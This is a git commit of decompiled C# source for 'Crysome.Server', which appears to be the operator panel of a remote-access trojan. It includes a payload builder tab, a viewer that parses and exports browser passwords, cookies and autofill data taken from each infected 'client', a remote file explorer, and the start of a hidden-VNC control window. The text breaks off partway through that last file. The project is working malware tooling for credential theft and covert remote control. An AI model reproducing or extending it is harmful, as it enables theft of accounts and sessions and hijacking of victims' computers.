initial commit
This commit is contained in:
@@ -0,0 +1,50 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Markup;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class BuilderTab : UserControl, IComponentConnector
|
||||
{
|
||||
private bool _contentLoaded;
|
||||
|
||||
public BuilderTab()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
private void CheckBox_Checked(object sender, RoutedEventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/buildertab.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
if (connectionId == 1)
|
||||
{
|
||||
((CheckBox)target).Checked += CheckBox_Checked;
|
||||
}
|
||||
else
|
||||
{
|
||||
_contentLoaded = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,671 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Text.Json;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class CredentialsViewerWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
public class PasswordEntry
|
||||
{
|
||||
public string Browser { get; set; }
|
||||
|
||||
public string Url { get; set; }
|
||||
|
||||
public string Username { get; set; }
|
||||
|
||||
public string Password { get; set; }
|
||||
}
|
||||
|
||||
public class CookieEntry
|
||||
{
|
||||
public string Browser { get; set; }
|
||||
|
||||
public string Host { get; set; }
|
||||
|
||||
public string Name { get; set; }
|
||||
|
||||
public string Value { get; set; }
|
||||
|
||||
public string Path { get; set; }
|
||||
|
||||
public string Expires { get; set; }
|
||||
}
|
||||
|
||||
public class AutofillEntry
|
||||
{
|
||||
public string Browser { get; set; }
|
||||
|
||||
public string Name { get; set; }
|
||||
|
||||
public string Value { get; set; }
|
||||
}
|
||||
|
||||
private readonly string _passwordsJson;
|
||||
|
||||
private readonly string _cookiesJson;
|
||||
|
||||
private readonly string _autofillsJson;
|
||||
|
||||
private readonly string _clientDisplayName;
|
||||
|
||||
private List<PasswordEntry> _allPasswords = new List<PasswordEntry>();
|
||||
|
||||
private List<CookieEntry> _allCookies = new List<CookieEntry>();
|
||||
|
||||
private List<AutofillEntry> _allAutofills = new List<AutofillEntry>();
|
||||
|
||||
internal TextBlock TitleText;
|
||||
|
||||
internal TextBox SearchBox;
|
||||
|
||||
internal Button ExportBtn;
|
||||
|
||||
internal Button CloseBtn;
|
||||
|
||||
internal TabControl MainTabs;
|
||||
|
||||
internal DataGrid PasswordsGrid;
|
||||
|
||||
internal DataGrid CookiesGrid;
|
||||
|
||||
internal DataGrid AutofillsGrid;
|
||||
|
||||
internal TextBlock StatusText;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public CredentialsViewerWindow(string title, string passwordsJson, string cookiesJson, string autofillsJson = null, string errorMessage = null)
|
||||
{
|
||||
InitializeComponent();
|
||||
_passwordsJson = passwordsJson ?? "";
|
||||
_cookiesJson = cookiesJson ?? "";
|
||||
_autofillsJson = autofillsJson ?? "";
|
||||
((Window)this).Title = title ?? "Credentials";
|
||||
TitleText.Text = title ?? "Credentials";
|
||||
_clientDisplayName = SanitizeFolderName(ExtractClientName(title));
|
||||
if (!string.IsNullOrEmpty(errorMessage))
|
||||
{
|
||||
StatusText.Text = "Error: " + errorMessage;
|
||||
}
|
||||
LoadPasswords();
|
||||
}
|
||||
|
||||
private void LoadPasswords()
|
||||
{
|
||||
_allPasswords = ParsePasswordsJson(_passwordsJson);
|
||||
PasswordsGrid.ItemsSource = ((_allPasswords.Count > 0) ? _allPasswords : new List<PasswordEntry>
|
||||
{
|
||||
new PasswordEntry
|
||||
{
|
||||
Browser = "",
|
||||
Url = "(empty)",
|
||||
Username = "",
|
||||
Password = ""
|
||||
}
|
||||
});
|
||||
UpdateStatus();
|
||||
}
|
||||
|
||||
private void LoadCookies()
|
||||
{
|
||||
if (_allCookies.Count == 0 || CookiesGrid.ItemsSource == null)
|
||||
{
|
||||
_allCookies = ParseCookiesJson(_cookiesJson);
|
||||
CookiesGrid.ItemsSource = ((_allCookies.Count > 0) ? _allCookies : new List<CookieEntry>
|
||||
{
|
||||
new CookieEntry
|
||||
{
|
||||
Browser = "",
|
||||
Host = "(empty)",
|
||||
Name = "",
|
||||
Value = "",
|
||||
Path = "",
|
||||
Expires = ""
|
||||
}
|
||||
});
|
||||
UpdateStatus();
|
||||
}
|
||||
}
|
||||
|
||||
private void LoadAutofills()
|
||||
{
|
||||
if (_allAutofills.Count == 0 || AutofillsGrid.ItemsSource == null)
|
||||
{
|
||||
_allAutofills = ParseAutofillsJson(_autofillsJson);
|
||||
AutofillsGrid.ItemsSource = ((_allAutofills.Count > 0) ? _allAutofills : new List<AutofillEntry>
|
||||
{
|
||||
new AutofillEntry
|
||||
{
|
||||
Browser = "",
|
||||
Name = "(empty)",
|
||||
Value = ""
|
||||
}
|
||||
});
|
||||
UpdateStatus();
|
||||
}
|
||||
}
|
||||
|
||||
private void UpdateStatus()
|
||||
{
|
||||
int count = _allPasswords.Count;
|
||||
int count2 = _allCookies.Count;
|
||||
int count3 = _allAutofills.Count;
|
||||
StatusText.Text = $"Passwords: {count} | Cookies: {count2} | Autofills: {count3}";
|
||||
}
|
||||
|
||||
private static string SafeGetString(JsonElement el, params string[] propertyNames)
|
||||
{
|
||||
foreach (string propertyName in propertyNames)
|
||||
{
|
||||
if (el.TryGetProperty(propertyName, out var value) && value.ValueKind != JsonValueKind.Null && value.ValueKind != JsonValueKind.Undefined)
|
||||
{
|
||||
return value.ToString() ?? "";
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private static List<PasswordEntry> ParsePasswordsJson(string json)
|
||||
{
|
||||
List<PasswordEntry> list = new List<PasswordEntry>();
|
||||
if (string.IsNullOrWhiteSpace(json))
|
||||
{
|
||||
return list;
|
||||
}
|
||||
try
|
||||
{
|
||||
string text = json.Trim();
|
||||
if (text.StartsWith("["))
|
||||
{
|
||||
using JsonDocument jsonDocument = JsonDocument.Parse(text);
|
||||
foreach (JsonElement item in jsonDocument.RootElement.EnumerateArray())
|
||||
{
|
||||
PasswordEntry passwordEntry = new PasswordEntry();
|
||||
passwordEntry.Url = SafeGetString(item, "origin_url", "action_url", "url", "origin");
|
||||
passwordEntry.Username = SafeGetString(item, "username_value", "username");
|
||||
passwordEntry.Password = SafeGetString(item, "password_value", "password");
|
||||
passwordEntry.Browser = SafeGetString(item, "browser", "browser_name");
|
||||
if (string.IsNullOrEmpty(passwordEntry.Browser))
|
||||
{
|
||||
passwordEntry.Browser = DetectBrowserFromUrl(passwordEntry.Url);
|
||||
}
|
||||
if (!string.IsNullOrWhiteSpace(passwordEntry.Username) || !string.IsNullOrWhiteSpace(passwordEntry.Password))
|
||||
{
|
||||
list.Add(passwordEntry);
|
||||
}
|
||||
}
|
||||
if (list.Count > 0)
|
||||
{
|
||||
return list;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
string[] array = json.Split(new char[2] { '\n', '\r' }, StringSplitOptions.RemoveEmptyEntries);
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
string text2 = array[i].Trim();
|
||||
if (!text2.StartsWith("["))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
try
|
||||
{
|
||||
using JsonDocument jsonDocument2 = JsonDocument.Parse(text2);
|
||||
foreach (JsonElement item2 in jsonDocument2.RootElement.EnumerateArray())
|
||||
{
|
||||
PasswordEntry passwordEntry2 = new PasswordEntry();
|
||||
passwordEntry2.Url = SafeGetString(item2, "origin_url", "action_url", "url", "origin");
|
||||
passwordEntry2.Username = SafeGetString(item2, "username_value", "username");
|
||||
passwordEntry2.Password = SafeGetString(item2, "password_value", "password");
|
||||
passwordEntry2.Browser = SafeGetString(item2, "browser", "browser_name");
|
||||
if (string.IsNullOrEmpty(passwordEntry2.Browser))
|
||||
{
|
||||
passwordEntry2.Browser = DetectBrowserFromUrl(passwordEntry2.Url);
|
||||
}
|
||||
if (!string.IsNullOrWhiteSpace(passwordEntry2.Username) || !string.IsNullOrWhiteSpace(passwordEntry2.Password))
|
||||
{
|
||||
list.Add(passwordEntry2);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
private static string DetectBrowserFromUrl(string url)
|
||||
{
|
||||
if (string.IsNullOrEmpty(url))
|
||||
{
|
||||
return "";
|
||||
}
|
||||
if (url.Contains("chrome"))
|
||||
{
|
||||
return "Chrome";
|
||||
}
|
||||
if (url.Contains("edge"))
|
||||
{
|
||||
return "Edge";
|
||||
}
|
||||
if (url.Contains("brave"))
|
||||
{
|
||||
return "Brave";
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private static List<CookieEntry> ParseCookiesJson(string json)
|
||||
{
|
||||
List<CookieEntry> list = new List<CookieEntry>();
|
||||
if (string.IsNullOrWhiteSpace(json))
|
||||
{
|
||||
return list;
|
||||
}
|
||||
try
|
||||
{
|
||||
string text = json.Trim();
|
||||
if (text.StartsWith("["))
|
||||
{
|
||||
using (JsonDocument jsonDocument = JsonDocument.Parse(text))
|
||||
{
|
||||
foreach (JsonElement item in jsonDocument.RootElement.EnumerateArray())
|
||||
{
|
||||
CookieEntry cookieEntry = new CookieEntry();
|
||||
cookieEntry.Host = SafeGetString(item, "host_key", "host", "domain");
|
||||
cookieEntry.Name = SafeGetString(item, "name");
|
||||
cookieEntry.Value = SafeGetString(item, "value");
|
||||
if (string.IsNullOrEmpty(cookieEntry.Value) && item.TryGetProperty("encrypted_value", out var value) && value.ValueKind != JsonValueKind.Null)
|
||||
{
|
||||
cookieEntry.Value = "[encrypted]";
|
||||
}
|
||||
cookieEntry.Path = SafeGetString(item, "path");
|
||||
cookieEntry.Expires = SafeGetString(item, "expires_utc", "expires", "expirationDate");
|
||||
cookieEntry.Browser = SafeGetString(item, "browser", "browser_name");
|
||||
if (string.IsNullOrEmpty(cookieEntry.Browser))
|
||||
{
|
||||
cookieEntry.Browser = DetectBrowserFromHost(cookieEntry.Host);
|
||||
}
|
||||
if (!string.IsNullOrWhiteSpace(cookieEntry.Name) || !string.IsNullOrWhiteSpace(cookieEntry.Host))
|
||||
{
|
||||
list.Add(cookieEntry);
|
||||
}
|
||||
}
|
||||
return list;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
string[] array = json.Split(new char[2] { '\n', '\r' }, StringSplitOptions.RemoveEmptyEntries);
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
string text2 = array[i].Trim();
|
||||
if (!text2.StartsWith("["))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
try
|
||||
{
|
||||
using JsonDocument jsonDocument2 = JsonDocument.Parse(text2);
|
||||
foreach (JsonElement item2 in jsonDocument2.RootElement.EnumerateArray())
|
||||
{
|
||||
CookieEntry cookieEntry2 = new CookieEntry();
|
||||
cookieEntry2.Host = SafeGetString(item2, "host_key", "host", "domain");
|
||||
cookieEntry2.Name = SafeGetString(item2, "name");
|
||||
cookieEntry2.Value = SafeGetString(item2, "value");
|
||||
if (string.IsNullOrEmpty(cookieEntry2.Value) && item2.TryGetProperty("encrypted_value", out var value2) && value2.ValueKind != JsonValueKind.Null)
|
||||
{
|
||||
cookieEntry2.Value = "[encrypted]";
|
||||
}
|
||||
cookieEntry2.Path = SafeGetString(item2, "path");
|
||||
cookieEntry2.Expires = SafeGetString(item2, "expires_utc", "expires", "expirationDate");
|
||||
cookieEntry2.Browser = SafeGetString(item2, "browser", "browser_name");
|
||||
if (string.IsNullOrEmpty(cookieEntry2.Browser))
|
||||
{
|
||||
cookieEntry2.Browser = DetectBrowserFromHost(cookieEntry2.Host);
|
||||
}
|
||||
if (!string.IsNullOrWhiteSpace(cookieEntry2.Name) || !string.IsNullOrWhiteSpace(cookieEntry2.Host))
|
||||
{
|
||||
list.Add(cookieEntry2);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
private static string DetectBrowserFromHost(string host)
|
||||
{
|
||||
string.IsNullOrEmpty(host);
|
||||
return "";
|
||||
}
|
||||
|
||||
private static List<AutofillEntry> ParseAutofillsJson(string json)
|
||||
{
|
||||
List<AutofillEntry> list = new List<AutofillEntry>();
|
||||
if (string.IsNullOrWhiteSpace(json))
|
||||
{
|
||||
return list;
|
||||
}
|
||||
try
|
||||
{
|
||||
string text = json.Trim();
|
||||
if (text.StartsWith("["))
|
||||
{
|
||||
using JsonDocument jsonDocument = JsonDocument.Parse(text);
|
||||
foreach (JsonElement item in jsonDocument.RootElement.EnumerateArray())
|
||||
{
|
||||
AutofillEntry autofillEntry = new AutofillEntry();
|
||||
autofillEntry.Browser = SafeGetString(item, "browser", "browser_name");
|
||||
autofillEntry.Name = SafeGetString(item, "name");
|
||||
autofillEntry.Value = SafeGetString(item, "value");
|
||||
list.Add(autofillEntry);
|
||||
}
|
||||
if (list.Count > 0)
|
||||
{
|
||||
return list;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
string[] array = json.Split(new char[2] { '\n', '\r' }, StringSplitOptions.RemoveEmptyEntries);
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
string text2 = array[i].Trim();
|
||||
if (!text2.StartsWith("["))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
try
|
||||
{
|
||||
using JsonDocument jsonDocument2 = JsonDocument.Parse(text2);
|
||||
foreach (JsonElement item2 in jsonDocument2.RootElement.EnumerateArray())
|
||||
{
|
||||
AutofillEntry autofillEntry2 = new AutofillEntry();
|
||||
autofillEntry2.Browser = SafeGetString(item2, "browser", "browser_name");
|
||||
autofillEntry2.Name = SafeGetString(item2, "name");
|
||||
autofillEntry2.Value = SafeGetString(item2, "value");
|
||||
list.Add(autofillEntry2);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
private void SearchBox_TextChanged(object sender, TextChangedEventArgs e)
|
||||
{
|
||||
string q = (SearchBox.Text ?? "").ToLowerInvariant().Trim();
|
||||
if (MainTabs.SelectedIndex == 0)
|
||||
{
|
||||
PasswordsGrid.ItemsSource = (string.IsNullOrEmpty(q) ? _allPasswords : _allPasswords.Where((PasswordEntry p) => Contains(p.Url, q) || Contains(p.Username, q) || Contains(p.Browser, q) || Contains(p.Password, q)).ToList());
|
||||
}
|
||||
else if (MainTabs.SelectedIndex == 1)
|
||||
{
|
||||
CookiesGrid.ItemsSource = (string.IsNullOrEmpty(q) ? _allCookies : _allCookies.Where((CookieEntry c) => Contains(c.Host, q) || Contains(c.Name, q) || Contains(c.Value, q) || Contains(c.Browser, q)).ToList());
|
||||
}
|
||||
else if (MainTabs.SelectedIndex == 2)
|
||||
{
|
||||
AutofillsGrid.ItemsSource = (string.IsNullOrEmpty(q) ? _allAutofills : _allAutofills.Where((AutofillEntry a) => Contains(a.Name, q) || Contains(a.Value, q) || Contains(a.Browser, q)).ToList());
|
||||
}
|
||||
}
|
||||
|
||||
private static bool Contains(string s, string q)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(s))
|
||||
{
|
||||
return s.ToLowerInvariant().Contains(q);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private void MainTabs_SelectionChanged(object sender, SelectionChangedEventArgs e)
|
||||
{
|
||||
if (SearchBox != null)
|
||||
{
|
||||
SearchBox.Text = "";
|
||||
}
|
||||
TabControl mainTabs = MainTabs;
|
||||
if (mainTabs != null && mainTabs.SelectedIndex == 1)
|
||||
{
|
||||
LoadCookies();
|
||||
}
|
||||
TabControl mainTabs2 = MainTabs;
|
||||
if (mainTabs2 != null && mainTabs2.SelectedIndex == 2)
|
||||
{
|
||||
LoadAutofills();
|
||||
}
|
||||
}
|
||||
|
||||
private void CopyPassword_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if (PasswordsGrid.SelectedItem is PasswordEntry passwordEntry)
|
||||
{
|
||||
SafeCopy(passwordEntry.Password);
|
||||
}
|
||||
}
|
||||
|
||||
private void CopyUsername_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if (PasswordsGrid.SelectedItem is PasswordEntry passwordEntry)
|
||||
{
|
||||
SafeCopy(passwordEntry.Username);
|
||||
}
|
||||
}
|
||||
|
||||
private void CopyRow_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if (PasswordsGrid.SelectedItem is PasswordEntry passwordEntry)
|
||||
{
|
||||
SafeCopy($"{passwordEntry.Browser}\t{passwordEntry.Url}\t{passwordEntry.Username}\t{passwordEntry.Password}");
|
||||
}
|
||||
}
|
||||
|
||||
private void CopyCookieValue_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if (CookiesGrid.SelectedItem is CookieEntry cookieEntry)
|
||||
{
|
||||
SafeCopy(cookieEntry.Value);
|
||||
}
|
||||
}
|
||||
|
||||
private void CopyCookieName_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if (CookiesGrid.SelectedItem is CookieEntry cookieEntry)
|
||||
{
|
||||
SafeCopy(cookieEntry.Name);
|
||||
}
|
||||
}
|
||||
|
||||
private void CopyCookieRow_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if (CookiesGrid.SelectedItem is CookieEntry cookieEntry)
|
||||
{
|
||||
SafeCopy($"{cookieEntry.Browser}\t{cookieEntry.Host}\t{cookieEntry.Name}\t{cookieEntry.Value}");
|
||||
}
|
||||
}
|
||||
|
||||
private static void SafeCopy(string text)
|
||||
{
|
||||
try
|
||||
{
|
||||
Clipboard.SetText(text ?? "");
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void ExportBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Exports", _clientDisplayName);
|
||||
Directory.CreateDirectory(text);
|
||||
if (!string.IsNullOrWhiteSpace(_passwordsJson))
|
||||
{
|
||||
File.WriteAllText(Path.Combine(text, "passwords.json"), _passwordsJson, Encoding.UTF8);
|
||||
}
|
||||
if (!string.IsNullOrWhiteSpace(_cookiesJson))
|
||||
{
|
||||
File.WriteAllText(Path.Combine(text, "cookies.json"), _cookiesJson, Encoding.UTF8);
|
||||
}
|
||||
if (!string.IsNullOrWhiteSpace(_autofillsJson))
|
||||
{
|
||||
File.WriteAllText(Path.Combine(text, "autofills.json"), _autofillsJson, Encoding.UTF8);
|
||||
}
|
||||
StatusText.Text = "Exported to " + text;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
StatusText.Text = "Export failed: " + ex.Message;
|
||||
}
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
((Window)this).DragMove();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static string ExtractClientName(string title)
|
||||
{
|
||||
if (string.IsNullOrEmpty(title))
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
int num = title.IndexOf(" — ", StringComparison.Ordinal);
|
||||
if (num < 0)
|
||||
{
|
||||
return title;
|
||||
}
|
||||
return title.Substring(num + 3).Trim();
|
||||
}
|
||||
|
||||
private static string SanitizeFolderName(string name)
|
||||
{
|
||||
if (string.IsNullOrEmpty(name))
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
char[] invalid = Path.GetInvalidFileNameChars();
|
||||
return string.Concat(name.Where((char c) => !Enumerable.Contains(invalid, c)));
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/credentialsviewerwindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_0098: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00a2: Expected O, but got Unknown
|
||||
//IL_00bc: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00c6: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||||
break;
|
||||
case 2:
|
||||
TitleText = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
SearchBox = (TextBox)target;
|
||||
SearchBox.TextChanged += SearchBox_TextChanged;
|
||||
break;
|
||||
case 4:
|
||||
ExportBtn = (Button)target;
|
||||
((ButtonBase)(object)ExportBtn).Click += ExportBtn_Click;
|
||||
break;
|
||||
case 5:
|
||||
CloseBtn = (Button)target;
|
||||
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||||
break;
|
||||
case 6:
|
||||
MainTabs = (TabControl)target;
|
||||
MainTabs.SelectionChanged += MainTabs_SelectionChanged;
|
||||
break;
|
||||
case 7:
|
||||
PasswordsGrid = (DataGrid)target;
|
||||
break;
|
||||
case 8:
|
||||
((MenuItem)target).Click += CopyPassword_Click;
|
||||
break;
|
||||
case 9:
|
||||
((MenuItem)target).Click += CopyUsername_Click;
|
||||
break;
|
||||
case 10:
|
||||
((MenuItem)target).Click += CopyRow_Click;
|
||||
break;
|
||||
case 11:
|
||||
CookiesGrid = (DataGrid)target;
|
||||
break;
|
||||
case 12:
|
||||
((MenuItem)target).Click += CopyCookieValue_Click;
|
||||
break;
|
||||
case 13:
|
||||
((MenuItem)target).Click += CopyCookieName_Click;
|
||||
break;
|
||||
case 14:
|
||||
((MenuItem)target).Click += CopyCookieRow_Click;
|
||||
break;
|
||||
case 15:
|
||||
AutofillsGrid = (DataGrid)target;
|
||||
break;
|
||||
case 16:
|
||||
StatusText = (TextBlock)target;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using Crysome.Server.ViewModel;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class FileExplorer : UserControl, IComponentConnector, IStyleConnector
|
||||
{
|
||||
internal ListView fileListView;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public FileExplorer()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
private void OnFileEntryClicked(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
((FileExplorerViewModel)base.DataContext).OpenCommand.Execute(string.Empty);
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/fileexplorer.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
if (connectionId == 2)
|
||||
{
|
||||
fileListView = (ListView)target;
|
||||
}
|
||||
else
|
||||
{
|
||||
_contentLoaded = true;
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IStyleConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
if (connectionId == 1)
|
||||
{
|
||||
EventSetter eventSetter = new EventSetter();
|
||||
eventSetter.Event = Control.MouseDoubleClickEvent;
|
||||
eventSetter.Handler = new MouseButtonEventHandler(OnFileEntryClicked);
|
||||
((Style)target).Setters.Add(eventSetter);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,797 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Media.Imaging;
|
||||
using System.Windows.Threading;
|
||||
using Crysome.Server.Model;
|
||||
using Crysome.Server.ViewModel;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class HvncWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
private readonly ClientInfo _client;
|
||||
|
||||
private readonly ManageClientsViewModel _vm;
|
||||
|
||||
private int _remoteWidth = 1920;
|
||||
|
||||
private int _remoteHeight = 1080;
|
||||
|
||||
private bool _streaming;
|
||||
|
||||
private byte[] _latestFrame;
|
||||
|
||||
private readonly object _frameLock = new object();
|
||||
|
||||
private bool _updatePending;
|
||||
|
||||
private readonly HashSet<int> _keysDownSent = new HashSet<int>();
|
||||
|
||||
private int _lastSentKeyOrChar;
|
||||
|
||||
private int _lastSentTicks;
|
||||
|
||||
private const int SendThrottleMs = 120;
|
||||
|
||||
private long _lastLeftDownTicks;
|
||||
|
||||
private Point _lastLeftDownPos;
|
||||
|
||||
private bool _suppressSecondLeftDown;
|
||||
|
||||
private const int DoubleClickMs = 400;
|
||||
|
||||
private const double DoubleClickMaxDistance = 10.0;
|
||||
|
||||
private int _frameCount;
|
||||
|
||||
private long _fpsTickStart;
|
||||
|
||||
private DispatcherTimer _fpsTimer;
|
||||
|
||||
private const int WM_MOUSEMOVE = 512;
|
||||
|
||||
private const int WM_LBUTTONDOWN = 513;
|
||||
|
||||
private const int WM_LBUTTONUP = 514;
|
||||
|
||||
private const int WM_LBUTTONDBLCLK = 515;
|
||||
|
||||
private const int WM_RBUTTONDOWN = 516;
|
||||
|
||||
private const int WM_RBUTTONUP = 517;
|
||||
|
||||
private const int WM_KEYDOWN = 256;
|
||||
|
||||
private const int WM_KEYUP = 257;
|
||||
|
||||
private const int WM_CHAR = 258;
|
||||
|
||||
private const int VK_SHIFT = 16;
|
||||
|
||||
private const int VK_CAPITAL = 20;
|
||||
|
||||
private const int VK_BACK = 8;
|
||||
|
||||
private const int VK_TAB = 9;
|
||||
|
||||
private const int VK_RETURN = 13;
|
||||
|
||||
private const int VK_ESCAPE = 27;
|
||||
|
||||
private const int VK_PRIOR = 33;
|
||||
|
||||
private const int VK_NEXT = 34;
|
||||
|
||||
private const int VK_END = 35;
|
||||
|
||||
private const int VK_HOME = 36;
|
||||
|
||||
private const int VK_LEFT = 37;
|
||||
|
||||
private const int VK_UP = 38;
|
||||
|
||||
private const int VK_RIGHT = 39;
|
||||
|
||||
private const int VK_DOWN = 40;
|
||||
|
||||
private const int VK_INSERT = 45;
|
||||
|
||||
private const int VK_DELETE = 46;
|
||||
|
||||
internal TextBlock TitleText;
|
||||
|
||||
internal Button StartBtn;
|
||||
|
||||
internal Button StopBtn;
|
||||
|
||||
internal Button CloseBtn;
|
||||
|
||||
internal Viewbox HvncViewbox;
|
||||
|
||||
internal Image HvncImage;
|
||||
|
||||
internal ToggleSwitch CloneControlSwitch;
|
||||
|
||||
internal ToggleSwitch MouseControlSwitch;
|
||||
|
||||
internal ToggleSwitch KeyboardControlSwitch;
|
||||
|
||||
internal TextBlock StatusText;
|
||||
|
||||
internal TextBlock FpsText;
|
||||
|
||||
internal Slider IntervalSlider;
|
||||
|
||||
internal TextBlock IntervalLabel;
|
||||
|
||||
internal ComboBox QualityCombo;
|
||||
|
||||
